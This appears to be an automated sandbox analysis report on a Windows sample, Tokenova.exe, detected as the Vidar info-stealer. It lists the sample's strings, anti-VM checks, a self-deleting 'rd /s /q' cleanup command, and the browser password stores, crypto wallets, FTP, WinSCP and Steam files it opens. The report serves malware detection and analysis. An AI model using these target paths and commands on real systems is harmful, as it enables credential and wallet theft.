Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefgh
Source:	Binary string: C:\buildslave\unity\build\build\WindowsStandaloneSupport\Variations\win32_nondevelopment_mono\player_win_x86.pdb source: Tokenova.exe
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdbA source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723430102.0000000003A59000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: vdr1.pdb source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723430102.0000000003A59000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: 1.pdb\ source: Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 1.pdb source: Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdb source: Tokenova.exe, 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2723430102.0000000003A59000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: {"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefghi

Source: Tokenova.exe	Static PE information: section name: .trace
Source: Tokenova.exe	Static PE information: section name: .data1
Source: Tokenova.exe	Static PE information: section name: _RDATA

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Source: C:\Windows\SysWOW64\timeout.exe TID: 8788

Thread sleep count: 88 > 30

Source: C:\Users\user\Desktop\Tokenova.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe, 00000003.00000002.2423041465.000001E20364C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_P
Source: chrome.exe, 00000003.00000002.2425448211.0000134400084000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: chrome.exe, 00000003.00000002.2432152718.00001344010DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: chrome.exe, 00000003.00000002.2423911837.000001E2064E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\dRom&Ven_NECVMWar&Prod_VMware_
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Tokenova.exe, 00000000.00000002.2730139698.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Tokenova.exe, 00000000.00000002.2730139698.000000000190A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 00000006.00000003.2470881164.0000199C002B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Tokenova.exe	Binary or memory string: VMWareMicrosoftParallels3dfxVIA/S3Imagination TechnologiesTridentXGISISS3Matrox3dLabsREFERENCED3D: VRAM amount suspiciously low (less than 32MB)
Source: chrome.exe, 00000003.00000002.2428386266.00001344006DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=1aaf5ad8-31c2-4edb-8882-347e4e8a72eb
Source: chrome.exe, 00000003.00000002.2424728107.000001E27A07E000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2541720904.0000025415654000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Tokenova.exe	Binary or memory string: VMWare
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Tokenova.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\89r1v" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\Tokenova.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\Tokenova.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000000.00000003.2724521262.0000000003953000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2723544261.0000000003941000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Tokenova.exe PID: 5888, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Tokenova.exe, 00000000.00000002.2730139698.000000000190A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: Tokenova.exe, 00000000.00000002.2730139698.000000000190A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.
Source: Tokenova.exe, 00000000.00000002.2730139698.000000000190A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: wallet.,seed.,btc.,key.,2fa.,crypto.,coin.,private.,2fa.,auth.,ledger.,trezor.,pass.,wal.,upbit.,bcex.,bithimb.,hitbtc.,bitflyer.,kucoin.,huobi.,poloniex.,kraken.,okex.,binance.,bitfinex.,gdax.,ethereum.,exodus.,metamask.,myetherwallet.,electrum.,bitcoin.,blockchain.,coinomi.,words.,meta.,mask.,eth.,recovery.
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\Tokenova.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Tokenova.exe

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\temporary\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore-backups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\bookmarkbackups\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\2023-10\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\to-be-removed\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\db\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\security_state\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\pending_pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\saved-telemetry-pings\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\minidumps\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\crashes\events\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\default\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\glean\tmp\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\datareporting\archived\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\key4.db	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Tokenova.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\Tokenova.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
